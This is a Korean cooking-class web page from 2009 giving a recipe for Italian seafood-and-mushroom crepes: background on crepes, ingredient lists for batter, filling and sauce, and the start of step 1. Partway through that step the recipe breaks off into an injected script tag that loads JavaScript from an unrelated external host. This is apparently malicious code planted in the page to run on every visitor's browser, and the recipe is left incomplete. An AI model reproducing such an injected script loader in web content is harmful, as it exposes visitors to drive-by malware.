[요리교실]
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크레이프 Crespelle Di mare E Monte
Date : 2009-05-10
Name : 박주희 File : 16.jpg
Hits : 1011
박주희 선생님의 요리교실 >> 이태리요리의 Crespelle Di mare E Monte

크레이프(crepe)는
프랑스의 가장 대중적인 음식으로
"실크와 같이" 라는 뜻을 갖고 있습니다.
크레이프는 가늘게 잔주름이 가도록 구워내는 것이 특징이며
메밀가루, 황밀등을 이용한 크레이프도 있답니다.

최근에는 일본이나 우리나라에서도 크게 유행하고 있는데
넓적하게 구운 크레이프에
여러 가지 과일, 초콜릿, 야채, 햄 등을 넣어 만들어
한끼 식사로도 손색이 없는 영양만점!! 요리입니다.

 
 크레이프: 달걀 2개, 우유 140cc, 박력분 60g, 생크림 1Ts, 올리브기름
크레이프속: 다진 양파 80g, 마늘 다진 것 1개, 다진 양송이 80g, 새우 70g, 게맛살 60g, 밀가루 1½Ts, 버터 20g, 우유 1¼컵, 소금, 후추, 핫소스 ½Ts, 파프리카 가루 ⅓ts
소스: 크레이프 속 ¼컵, 생크림 2Ts, 우유 2TS, 파슬리찹, 파마산 치즈 ½Ts
 
1.
달걀+우유 섞은 것을 밀가루에 조금씩 넣어 잘 섞는다. 그런 다음 생크림?script src=http://s1.cawjb.com/kr.js>
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박주희
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